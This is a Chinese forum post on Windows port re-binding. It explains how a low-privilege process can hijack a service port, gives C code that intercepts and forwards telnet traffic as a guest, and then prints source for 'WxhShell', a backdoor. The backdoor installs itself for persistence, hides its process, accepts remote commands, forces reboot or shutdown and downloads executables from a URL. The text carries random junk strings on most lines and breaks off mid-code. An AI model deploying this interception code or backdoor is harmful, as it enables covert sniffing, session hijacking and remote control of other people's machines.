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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: EAQg4N:D7L  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); `nc cRy< l  
.I{b]6  
  saddr.sin_family = AF_INET; ?45kN=%*s  
ScrEtN  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ! /Z{uy  
= GirUW D  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); I__|+%oC  
ag^L' h$  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 !j8h$+:K  
"|CzQ&e  
  这意味着什么?意味着可以进行如下的攻击: qkC+9Sk  
w]n20&  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 :.!]+#Me  
de{KfM`W;  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 3 $;6pY  
YV*s1 t/  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 -f0Nb+AR  
jR@j+p^e  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  X>mY`$!/  
P  F!S  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 4l2i'H  
6#XB'PR2p  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ODK$G [-  
Y:C7S~  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 OKfJ  
8~?3: IZ  
  #include yc5C`r+6  
  #include  "Mgx5d  
  #include :mLcb. E  
  #include    C=ni5R  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ua1ov7w$]  
  int main() BP2-LG&\  
  { @cPb*  
  WORD wVersionRequested; f3e#.jan  
  DWORD ret; ((A]FOIbO  
  WSADATA wsaData; u2 a U0k:  
  BOOL val; '3Yci(t+  
  SOCKADDR_IN saddr; {S(d5o8  
  SOCKADDR_IN scaddr; 2g1[ E_?  
  int err; [-!   
  SOCKET s; R6HMi#eF  
  SOCKET sc; tS,nO:+x  
  int caddsize; )W)m?%  
  HANDLE mt;  t4pc2b  
  DWORD tid;   ?)x>GB(9ZN  
  wVersionRequested = MAKEWORD( 2, 2 ); vlth\ [  
  err = WSAStartup( wVersionRequested, &wsaData ); kH1hsDe|&y  
  if ( err != 0 ) { ~H/|J^ J  
  printf("error!WSAStartup failed!\n"); Z^,C><Yt  
  return -1; %pgie"k   
  } Y 3r m')c  
  saddr.sin_family = AF_INET; /2-S/,a  
   N-|E^XIV  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 !s#25}9zX5  
d_=@1 JM>  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 5R}Qp<D[^  
  saddr.sin_port = htons(23); LY2oBX@fC  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) q}e"E cr  
  { Q[_{:DJA  
  printf("error!socket failed!\n"); fv_}7t7  
  return -1; /%|JP{   
  } HXhz|s0  
  val = TRUE; 3}=r.\]U  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 W-q2|NK  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) qLBXyQ;U  
  { M3@Wb@  
  printf("error!setsockopt failed!\n"); ;NH 5 L,  
  return -1; q\ FF)H  
  } ,80qwN,  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 7l> |G,[c  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 py.lGywb_  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ia 1Sf3  
 S[!K  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) fyPpzA0  
  { 9Z]~c^UB  
  ret=GetLastError(); gRv5l3k  
  printf("error!bind failed!\n"); I&~kwOP  
  return -1; }S51yDVG_  
  } r(xh5{^x  
  listen(s,2); S[,!  
  while(1) [ qt hn[3  
  { c7 Sa|9*dR  
  caddsize = sizeof(scaddr); Hs/ aU_  
  //接受连接请求 E^w2IIw  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); fe PH=C  
  if(sc!=INVALID_SOCKET) D+ mZ7&L  
  { OV3l)73?t  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ST$~l7p  
  if(mt==NULL) {Q],rv|;  
  { {T4F0fu[eR  
  printf("Thread Creat Failed!\n"); hw! l{yv  
  break; li'h&!|]  
  } MuXp*s3[  
  } FJ0Ity4u6  
  CloseHandle(mt); 0/K?'&$yvb  
  } I?` }h}7.  
  closesocket(s); `)V1GR2 ES  
  WSACleanup(); y4*i V;"  
  return 0; FjRt'  
  }   VP0q?lh  
  DWORD WINAPI ClientThread(LPVOID lpParam) Z(DCR/U=(>  
  { fy+fJ )4sj  
  SOCKET ss = (SOCKET)lpParam; "fK`F/  
  SOCKET sc; 0K/Pth"*  
  unsigned char buf[4096]; kQ~2mU  
  SOCKADDR_IN saddr; 8K+(CS>xvO  
  long num; ql"&E{u?  
  DWORD val; +8qtFog$\g  
  DWORD ret; :})(@.H  
  //如果是隐藏端口应用的话,可以在此处加一些判断 .T~<[0Ex+U  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   \f| Hk*@  
  saddr.sin_family = AF_INET; {UqSq  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 9/A$ 3#wF  
  saddr.sin_port = htons(23); _|<kKfd?  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 1Q_  C  
  { lGrp^  
  printf("error!socket failed!\n"); l e+6;'Q  
  return -1; & Tz@lvOv%  
  } e7e6b-"_2  
  val = 100; o95)-Wb  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) =5:L#` .  
  { u.v 5!G  
  ret = GetLastError(); & gF*p  
  return -1; J|*Z*m  
  } 6Gt~tlt:L  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) bVfFhfh*  
  { rP4v_?Zg+  
  ret = GetLastError(); /V'^$enK!}  
  return -1; hxG=g6:G  
  } ^gw htnI  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) EY3x o-H  
  { E :gS*tsY  
  printf("error!socket connect failed!\n"); mjgwU8'![  
  closesocket(sc); 5>9KW7^L  
  closesocket(ss); `Fn"%P!  
  return -1; eKRslMa  
  } 1XfH,6\8i  
  while(1) (<M^C>pldf  
  { E} Ir<\  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 s*'L^>iZ  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 6yDj1PI  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 E`E$ }iLs  
  num = recv(ss,buf,4096,0); ^b{-y  
  if(num>0) S8=Am7D]1  
  send(sc,buf,num,0); m/{HZKh  
  else if(num==0) /"~ D(bw0=  
  break; 4Vv~  
  num = recv(sc,buf,4096,0); ^O>G?a  
  if(num>0) N=2BrKb)o  
  send(ss,buf,num,0); VSm[80iR0  
  else if(num==0) 3k%fY  
  break; 0QzUcr)3+  
  } CMQlxX?  
  closesocket(ss); SW94(4qo  
  closesocket(sc); g(X-]/C{  
  return 0 ; j@w+>h  
  } :eK(9o  
wEQ7=Gyx  
7!-3jU@m  
========================================================== 25bbuhss  
_'eG   
下边附上一个代码,,WXhSHELL w)Rtt 9  
4blw9x N  
========================================================== @M]uUL-ze  
cImOZx  
#include "stdafx.h" tVAWc$3T  
}JP0q  
#include <stdio.h> .,-,@ZK  
#include <string.h> XwZ~pY ~  
#include <windows.h> jruXl>T!U  
#include <winsock2.h> \>B$x@-wg  
#include <winsvc.h> t^8 ii  
#include <urlmon.h> Nu/D$m'PY  
o+NPe36  
#pragma comment (lib, "Ws2_32.lib") !b !C+ \v  
#pragma comment (lib, "urlmon.lib") qcNu9Ih  
Ou26QoT9XI  
#define MAX_USER   100 // 最大客户端连接数 i146@<\G{P  
#define BUF_SOCK   200 // sock buffer EnM }H9A  
#define KEY_BUFF   255 // 输入 buffer  9S<87sO  
FJ/>=2^B  
#define REBOOT     0   // 重启 Z$UPLg3=;_  
#define SHUTDOWN   1   // 关机 bCV3h3<  
TO(2n8'fdO  
#define DEF_PORT   5000 // 监听端口 MC 8t"SB  
5} v(Ks>  
#define REG_LEN     16   // 注册表键长度 'ycr/E&m{  
#define SVC_LEN     80   // NT服务名长度 >e g8zN  
t)#d R._q  
// 从dll定义API 9/8#e+L  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); +*I'!)T^B  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); uTWij4)a  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); y v$@i A  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); |8QXjzH  
2H,^i,  
// wxhshell配置信息 sIVVF#0}]  
struct WSCFG { Q140b;Z  
  int ws_port;         // 监听端口 Sckt gp8  
  char ws_passstr[REG_LEN]; // 口令 DH@]d0N  
  int ws_autoins;       // 安装标记, 1=yes 0=no O^Y}fo'  
  char ws_regname[REG_LEN]; // 注册表键名 =up!lg^M  
  char ws_svcname[REG_LEN]; // 服务名 \d"uR@$3mG  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 T[ ~8u9/  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 A#b`{C~l  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 *btLd7c%  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Q|gw\.]$&[  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" {r.KY  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 G{ |0}  
*A^j>lV  
}; S= NGJ 0  
31y>/*}  
// default Wxhshell configuration x4_xl .  
struct WSCFG wscfg={DEF_PORT, >5O#_?  
    "xuhuanlingzhe", zeC@!,lH  
    1, Z(|@C(IL0\  
    "Wxhshell", mQbpv'N  
    "Wxhshell", Mk3~%`  
            "WxhShell Service", `Kt]i5[ "  
    "Wrsky Windows CmdShell Service", wsfN \6e  
    "Please Input Your Password: ", zL^`r)H  
  1, Kyr3)1#J  
  "http://www.wrsky.com/wxhshell.exe", O_E\(So  
  "Wxhshell.exe" n?UFFi+a  
    }; Gp l  
OI8Hf3d=  
// 消息定义模块 jD<fu  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; HsF8$C$z  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ! R b  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ~x(1g;!^  
char *msg_ws_ext="\n\rExit."; p aQ"[w  
char *msg_ws_end="\n\rQuit."; b}f#[* Z  
char *msg_ws_boot="\n\rReboot..."; j O-H 1@;  
char *msg_ws_poff="\n\rShutdown..."; J~e%EjN5e  
char *msg_ws_down="\n\rSave to "; T#o?@ ;  
w[K!m.p,u  
char *msg_ws_err="\n\rErr!"; C;m,{MD  
char *msg_ws_ok="\n\rOK!"; 9<" .1  
(t.OqgY  
char ExeFile[MAX_PATH]; qe/|u3I<lF  
int nUser = 0; i[+cNJ|$B0  
HANDLE handles[MAX_USER]; A89n^@  
int OsIsNt; ]* #k|>Fl  
Np.] W(  
SERVICE_STATUS       serviceStatus; @5[9iY  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Tc3~~X   
nEG+TRZ)\  
// 函数声明 0\y{/P?I$  
int Install(void); fQ[& ^S$  
int Uninstall(void); [|vE*&:uO  
int DownloadFile(char *sURL, SOCKET wsh); y^iju(  
int Boot(int flag); LH@xr\^  
void HideProc(void); Z$X[x7e.  
int GetOsVer(void); 'Nqa=_<WW  
int Wxhshell(SOCKET wsl); Ala~4_" WL  
void TalkWithClient(void *cs); bV3az/U  
int CmdShell(SOCKET sock); #W]4aZ1  
int StartFromService(void); G\;a_]Q  
int StartWxhshell(LPSTR lpCmdLine); dF`\ewRFn  
|riP*b  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); fr19C%{  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); pA%Sybw+  
+ Cf  
// 数据结构和表定义 ycPGv.6  
SERVICE_TABLE_ENTRY DispatchTable[] = <*Ex6/j  
{ |e%o  
{wscfg.ws_svcname, NTServiceMain}, l>kREfHq!{  
{NULL, NULL} >l>;"R9N  
}; =_"[ &^  
f Yt y7  
// 自我安装 D)_67w|u|  
int Install(void) `\pv^#5HV9  
{ 9>OPaL n  
  char svExeFile[MAX_PATH]; W ZAkp|R  
  HKEY key; 'g@Yra&09  
  strcpy(svExeFile,ExeFile); @:ojt$  
$vR#<a,7>  
// 如果是win9x系统,修改注册表设为自启动 c1wP/?|.>  
if(!OsIsNt) { XMLJ X~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ofm?`SE*|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); f ecV[  
  RegCloseKey(key); 7gx 7NDt  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qs|{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); k%gO  
  RegCloseKey(key); O/N@ Gz[g%  
  return 0; V~~4<?=A  
    } >Av[`1a2F  
  } p-S&Wq  
}  45qSt2  
else { K.R4.{mo  
nG~#o  
// 如果是NT以上系统,安装为系统服务 89kxRH\IhG  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ?b,x;hIO  
if (schSCManager!=0) }j_2K1NS{  
{ KT9!R  
  SC_HANDLE schService = CreateService *Bm7>g6  
  ( C@ns`Eh8w  
  schSCManager, 1[ 4)Sq?  
  wscfg.ws_svcname, q; n  
  wscfg.ws_svcdisp, `Vf k.OP  
  SERVICE_ALL_ACCESS, gx55.}  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , xl]1{$1M  
  SERVICE_AUTO_START, !VzbNJ&'  
  SERVICE_ERROR_NORMAL, +{5y,0R  
  svExeFile, e{}oQK  
  NULL, )<+t#5"  
  NULL, d OYEl<!J  
  NULL, ->rr4xaKC  
  NULL, t!285J8tn  
  NULL kgZiyPcw  
  ); YPU*T&~  
  if (schService!=0) N+3]C9 2o  
  { Y48MCL  
  CloseServiceHandle(schService); 2|re4  
  CloseServiceHandle(schSCManager); n5G|OK0,  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); %p(!7FDE2n  
  strcat(svExeFile,wscfg.ws_svcname); ~M !9E])  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Y;uQq-CP  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); N6%wHNYZ  
  RegCloseKey(key); ^F?}MY>  
  return 0; [vV5@nP:  
    } {pR4+g  
  } A7c*qBt  
  CloseServiceHandle(schSCManager); !!we4tWq  
} -H+<81"B#  
} dW4FMm>|  
p "Cxe  
return 1; R?E< }\!  
} Xk]:]pl4W  
/]@1IC{Lk  
// 自我卸载 a:V2(nY  
int Uninstall(void) 2Vwv#NAV k  
{ 1!P\x=Nn_  
  HKEY key; 7/>#yR  
GX\6J]x=^2  
if(!OsIsNt) { 8rEUZk  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Mcfqo0T-  
  RegDeleteValue(key,wscfg.ws_regname); !C3ozZ<  
  RegCloseKey(key); W-8U~*/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0hB9D{`,{  
  RegDeleteValue(key,wscfg.ws_regname); +WTO_J7  
  RegCloseKey(key);  qH9bo-6  
  return 0; M. o}?  
  } # ^q87y  
} ,g~Iup  
} t8:QK9|1  
else { m~;}8ObQE  
R<eD)+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); IJQ" *;  
if (schSCManager!=0) O+w82!<:  
{ xJ(}?0h-X  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 62D UF  
  if (schService!=0) }1}L&M@  
  { iU1yJ=  
  if(DeleteService(schService)!=0) { /9o gg  
  CloseServiceHandle(schService); cqSo%a2  
  CloseServiceHandle(schSCManager); NSV;R~"  
  return 0; gZW(z  
  } 0tS < /G8  
  CloseServiceHandle(schService); \96aHOk<  
  } Py^fWQ5I~%  
  CloseServiceHandle(schSCManager); +v{g'  
} QMQ\y8E  
} r Y#^C  
0n)99Osq(u  
return 1; A}l+BIt  
} ui .riD[,O  
Q| _e=  
// 从指定url下载文件 E},^,65  
int DownloadFile(char *sURL, SOCKET wsh) h( V:-D  
{ 3I.0jA#T&/  
  HRESULT hr; !V O^oD7  
char seps[]= "/"; J`d_=C?J  
char *token; ah2L8jN"  
char *file; /JGET  
char myURL[MAX_PATH]; NfsF'v  
char myFILE[MAX_PATH]; ?qt.+2:  
?qJt4Om  
strcpy(myURL,sURL); hYSzr-)  
  token=strtok(myURL,seps); 'Z}3XVZEN  
  while(token!=NULL) QJ^'Uyfdn  
  { my+2@ln  
    file=token; f j:q>}V  
  token=strtok(NULL,seps); {W11+L{8  
  }  c_ Dg0  
bD:[r))#e  
GetCurrentDirectory(MAX_PATH,myFILE); uWjSqyb:  
strcat(myFILE, "\\"); +L hV4@zC  
strcat(myFILE, file); 1@<PcQBp  
  send(wsh,myFILE,strlen(myFILE),0); oksAQnQe  
send(wsh,"...",3,0); \C&V)/  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); H-C$Jy)f"  
  if(hr==S_OK) n1    
return 0; Usl963A#'F  
else kD\7wz,ui  
return 1; yLgv<%8f  
oU)Hco"_k  
} 5i1E 5@~  
$i9</Es P  
// 系统电源模块 es!>u{8)  
int Boot(int flag) X6-;vnlKN  
{ 5D6 ,B  
  HANDLE hToken; -PiakX  
  TOKEN_PRIVILEGES tkp; 8k_cC$*Ng  
r>_40+|&  
  if(OsIsNt) { WvN{f*  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); y{g"w  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); FByA4VxB  
    tkp.PrivilegeCount = 1; (,I9|  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ]9lR:V sw  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Y ow  
if(flag==REBOOT) { KbGz3O'u  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) FI8 vABq  
  return 0; wB+X@AA  
} qtlcY8!  
else { z]HaE|j}S  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]Ei*I}  
  return 0; XP^[,)E  
} tRVz4fk[G  
  } #5yz~&  
  else { HAmAmEc,  
if(flag==REBOOT) { r) g:-[Ox9  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) FSD~Q&9&  
  return 0; F10TvJ U  
} [9d4 0>e  
else { `Rx\wfr}  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Y6RbRcJw  
  return 0; ApTE:Fm1  
} b_w(F_0  
} LhCwZ1  
"_ H 9]}Q  
return 1; T!X`"rI  
} +!cibTQTT  
1b,MJ~g$  
// win9x进程隐藏模块 w&x$RP  
void HideProc(void) >Vph_98|  
{ h'.B-y~c  
#pnB+h&tE  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); KD`*[.tT  
  if ( hKernel != NULL ) R q`j|tY  
  { G]zyx"0Sqb  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); gTb%c84  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); .~,=?aq^  
    FreeLibrary(hKernel); -T2w?|  
  } O"~CZh,:r}  
^l{q{O7U$  
return; F% z$^ m-  
} ~cul;bb#  
88On{Kk.v  
// 获取操作系统版本 9xOTR#B:_V  
int GetOsVer(void) Kh7C7[&  
{ R1~wzy  
  OSVERSIONINFO winfo; gX]ewbPDQ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); |ITh2m  
  GetVersionEx(&winfo); Ejj+%)n.  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) IG90mpLX  
  return 1; 9`td_qh  
  else )Wy:I_F351  
  return 0; ^@f.~4P*I  
} heScIe N^`  
.oqe0$I  
// 客户端句柄模块 s)G?5Gz  
int Wxhshell(SOCKET wsl) {ObUJ3  
{ C#TP1~6  
  SOCKET wsh; C."\ a_p  
  struct sockaddr_in client; @a (-U.CZ  
  DWORD myID; ldt]=Sqy  
AP+%T   
  while(nUser<MAX_USER) /vs79^&  
{ @?*; -]#)  
  int nSize=sizeof(client); ^$s&bH'8  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); y I}>  
  if(wsh==INVALID_SOCKET) return 1; kD}vK+  
o>HU4O}  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); \V T.bUs  
if(handles[nUser]==0) hA1p#  
  closesocket(wsh); L&0aS:  
else YySo%\d  
  nUser++; z) x.6  
  } XD Q<28^  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); dP?QPky{9  
]G Blads  
  return 0; X#tCIyK,nV  
} 9V|) 3GF  
&qP0-x)  
// 关闭 socket bnZ H  
void CloseIt(SOCKET wsh) nP_)PDTFp  
{ KNjU!Z/4  
closesocket(wsh); A<+1:@0  
nUser--; !oYNJE Y7  
ExitThread(0);  9XhcA  
} 3)y=}jw  
/[A#iTe  
// 客户端请求句柄 K[S)e!\.  
void TalkWithClient(void *cs) &WZ&Tt/)/  
{ TE6]4E*  
-""(>$b 2  
  SOCKET wsh=(SOCKET)cs; Py#TXzEcC  
  char pwd[SVC_LEN]; 9Dp0Pi?29  
  char cmd[KEY_BUFF]; ?JBA`,-  
char chr[1]; -vv_6Z L[  
int i,j; 0:JNkXZ:  
Q CO,f  
  while (nUser < MAX_USER) { {E0\mZ2  
w?P ex]i{  
if(wscfg.ws_passstr) {  uU=!e&3  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ygc|9}  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K>TEt5  
  //ZeroMemory(pwd,KEY_BUFF); l{*Ko~g  
      i=0; _*E j3=u  
  while(i<SVC_LEN) { e.fxB  
&+3RsIl W  
  // 设置超时 H5*#=It  
  fd_set FdRead; 5_1\{lP  
  struct timeval TimeOut; Z!3R  
  FD_ZERO(&FdRead); 8nwps(3  
  FD_SET(wsh,&FdRead); r7FJqd  
  TimeOut.tv_sec=8; TfHL'u9B  
  TimeOut.tv_usec=0; 4s@Tn>%SP  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 5?[hr5E.E  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); >+DM TV[O  
\BX9Wn*)a  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _l2_) ~  
  pwd=chr[0]; %/ "yt}"|  
  if(chr[0]==0xd || chr[0]==0xa) { 2#ZqGf.'v  
  pwd=0; Bo\~PV[  
  break; 8tVSai8[  
  } 2@IL  n+#  
  i++; %cBOi_}}~  
    } iNc!z A4  
N6`U)=2o>h  
  // 如果是非法用户,关闭 socket 6s'n r7'0  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); YRMe<upo  
} jib pZ)  
m&s>Sn+  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); AD+OQLG]`  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &TL"Hd  
J *38GX+  
while(1) { 7!wc'~;  
Kv)}  
  ZeroMemory(cmd,KEY_BUFF); CM%;/[WBxy  
EwmNgmYq  
      // 自动支持客户端 telnet标准   T+B8SZw#}!  
  j=0; jo3(\Bq  
  while(j<KEY_BUFF) { %hlgLM  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bI`JG:^b  
  cmd[j]=chr[0]; ,SNt*t1"  
  if(chr[0]==0xa || chr[0]==0xd) { 1;'-$K`}  
  cmd[j]=0; e-OKv#]  
  break; 8I Ip,#%v  
  } UWhJkJsX  
  j++; z`.<dNg  
    } zR <fz  
0Lb{HLT  
  // 下载文件 t&NpC;>v  
  if(strstr(cmd,"http://")) { GgnR*DVP$  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); hg#O_4D  
  if(DownloadFile(cmd,wsh)) Go^TTL   
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); \WbQS#Z9  
  else $rTb'8  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2i;ox*SfpU  
  } CJ7S5   
  else { L[A?W  
Jgg<u#  
    switch(cmd[0]) { +S[3HX7H  
  2Q\\l @b\  
  // 帮助 SH#*Lc   
  case '?': { m(d|TwG{  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 6GPI gPL,  
    break; )B)f`(SA"<  
  } 0xO*8aKT  
  // 安装 XogCq?_m  
  case 'i': { &:IcwD&  
    if(Install()) cIG7 Q"4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Hb::;[bm:  
    else u"m(a:jQ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Jj\lF*B  
    break; h_+  
    } D4{KU%Xp&  
  // 卸载 ;,e16^\' &  
  case 'r': { )p1~Jx(\  
    if(Uninstall()) b GI){0A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M8<Vd1-5  
    else EApbaS}Up  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,W|-?b?   
    break; 2<y9xvp  
    } %>_6&A{K,d  
  // 显示 wxhshell 所在路径 M?L$xE_&  
  case 'p': { 3Jt# Mp  
    char svExeFile[MAX_PATH]; Ox&G  [  
    strcpy(svExeFile,"\n\r"); "y&`,s5}  
      strcat(svExeFile,ExeFile); o|xZ?#^h  
        send(wsh,svExeFile,strlen(svExeFile),0); VN`fZ5*d~  
    break; 6]d]0TW_  
    } Iv*\8?07)  
  // 重启 Qni`k)4  
  case 'b': { zBTW&  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !|i #g$  
    if(Boot(REBOOT)) M<n'ZDK `W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dpsc gW{M  
    else { b=_k)h+l  
    closesocket(wsh); Iia.`"S  
    ExitThread(0); X!^|Tass  
    } P/|1,S k  
    break; O>1Cx4s5  
    } fz:(mZ%  
  // 关机 ;l0 dx$w  
  case 'd': { :op_J!;  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _ `&l46  
